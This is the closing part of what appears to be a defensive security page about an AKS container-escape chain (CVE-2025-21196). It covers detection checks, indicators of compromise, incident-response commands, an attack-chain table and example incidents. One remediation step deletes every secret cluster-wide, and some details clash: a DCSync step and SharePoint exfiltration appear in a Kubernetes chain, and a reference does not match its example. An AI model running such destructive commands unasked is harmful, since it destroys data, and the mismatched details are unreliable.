kubectl get namespace -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'
# Expected output: restricted policy on non-system namespaces

# Check if NET_RAW is dropped
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].securityContext.capabilities.drop}{"\n"}{end}'
# Expected output: NET_RAW in drop list

What to Look For:

• Cluster version >= 1.28.4
• All user namespaces have Pod Security level restricted
• No pods have NET_RAW or SYS_ADMIN capabilities

---

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

• Files: /tmp/exploit*, /tmp/payload.sh, /tmp/hacked (created during container escape)
• Registry Keys: N/A (Linux-focused)
• Network: Outbound connections to non-whitelisted IPs from pod; DNS queries for attacker C&C domains

Forensic Artifacts

• Disk: /var/lib/kubelet/kubeconfig.yaml (modified timestamp indicates access)
• Memory: Kernel module loading logs in dmesg if exploit used CAP_SYS_MODULE
• Cloud: AKS audit logs in Log Analytics showing unauthorized create pods, get secrets, API calls from kubelet service account
• Kubelet Logs: /var/log/pods/*/kubelet.log on affected node

Response Procedures

1. Isolate:

   Command (kubectl):

   # Taint the compromised node to prevent new pods
   kubectl taint nodes <node-name> compromised=true:NoExecute
      
   # Drain existing pods
   kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
   

   Manual (Azure Portal):

   • Go to Virtual Machine Scale Sets → Select AKS node scale set
   • Instances → Select affected instance → Delete

2. Collect Evidence:

   Command:

   # Export kubelet logs
   kubectl logs -n kube-system <kubelet-pod> > /tmp/kubelet-logs.txt
      
   # Export AKS audit logs
   az monitor log-analytics query \
     --workspace myWorkspace \
     --query "AKSAudit | where TimeGenerated >= ago(24h) | where node_name == 'affected-node'"
      
   # Dump node filesystem for forensics (requires SSH to node)
   ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
   sudo tar -czf /tmp/node-forensics.tar.gz /var/lib/kubelet /var/log/pods
   

3. Remediate:

   Command:

   # Delete all pods from compromised node
   kubectl delete pods --all --all-namespaces --field-selector spec.nodeName=<node-name>
      
   # Rotate all service account tokens
   kubectl delete secret -A --all  # Careful: deletes all secrets
   # Then redeploy workloads to regenerate secrets
      
   # Restart kubelet on node (if still online)
   ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
   sudo systemctl restart kubelet
   

   Manual (Full Cluster Recovery):

   1. Backup current cluster state
   2. Delete AKS cluster: az aks delete --name myCluster --resource-group myRG
   3. Redeploy cluster from Infrastructure-as-Code
   4. Restore applications from trusted backup

---

13. RELATED ATTACK CHAIN

Step	Phase	Technique	Description
1	Initial Access	[IA-EXPLOIT-005] AKS control plane access exploitation	Attacker gains shell access in AKS pod via vulnerable application
2	Persistence	[CA-DUMP-002] DCSync / [CA-TOKEN-013] AKS service account token theft	Attacker extracts kubelet credentials for persistent access
3	Privilege Escalation	[PE-EXPLOIT-008] AKS Container Escape (CVE-2025-21196)	Attacker breaks out of container to node
4	Lateral Movement	[PE-VALID-015] AKS Node Identity Compromise	Attacker uses stolen managed identity to access Azure resources
5	Exfiltration	[REALWORLD-043] SharePoint Metadata Exfiltration	Attacker extracts secrets and data from cluster
6	Impact	Ransomware deployment on all nodes; Cryptominer installation	Business operations halted; Data encrypted or stolen

---

14. REAL-WORLD EXAMPLES

Example 1: Azure Data Factory Apache Airflow Breach (2024)

• Target: Enterprise data platform using AKS for Airflow orchestration
• Timeline: Attacker exploited misconfigured Kubernetes RBAC in Airflow worker pods
• Technique Status: Container escape via privileged pod deployment; escalation to cluster-admin via DaemonSet token abuse
• Impact: Attacker gained persistent access to data pipeline, exfiltrated 500GB of customer data
• Reference: Unit 42 - Azure Data Factory Vulnerabilities

Example 2: NVIDIAScape Container Escape (CVE-2025-23266)

• Target: AKS clusters running GPU workloads with NVIDIA Container Toolkit
• Timeline: November 2025
• Technique Status: Container escape exploiting NVIDIA GPU driver vulnerabilities; enables host compromise in under 10 minutes
• Impact: Attackers could steal proprietary AI models and training data from AKS clusters
• Reference: Sysdig - New runc vulnerabilities allow container escape

Example 3: TLS Bootstrap Token Extraction via WireServer (August 2024)

• Target: AKS clusters using Azure CNI networking
• Timeline: Disclosed by Mandiant in August 2024
• Technique Status: Pod accesses Azure WireServer (168.63.129.16) to extract TLS bootstrap tokens; uses tokens to authenticate as node to API server
• Impact: Full cluster compromise; all cluster secrets exfiltrated
• Reference: Mandiant Blog - TLS Bootstrap Attack on Azure Kubernetes Clusters

---

Conclusion & Recommendations

CVE-2025-21196 represents a critical vulnerability chain that enables rapid progression from initial pod access to full cluster and subscription compromise. Organizations running AKS clusters must immediately:

1. Upgrade to patched Kubernetes versions (1.28.4+)
2. Enforce Pod Security Standards at the restricted level
3. Audit all ClusterRoleBindings for over-privileged service accounts
4. Enable Microsoft Defender for Cloud and Microsoft Sentinel with AKS integration
5. Implement network policies to restrict pod-to-pod communication
6. Monitor for anomalous cluster API activity in real-time

Failure to address this vulnerability leaves entire organizations vulnerable to complete cluster takeover and data exfiltration within minutes.

---

This site is open source. Improve this page.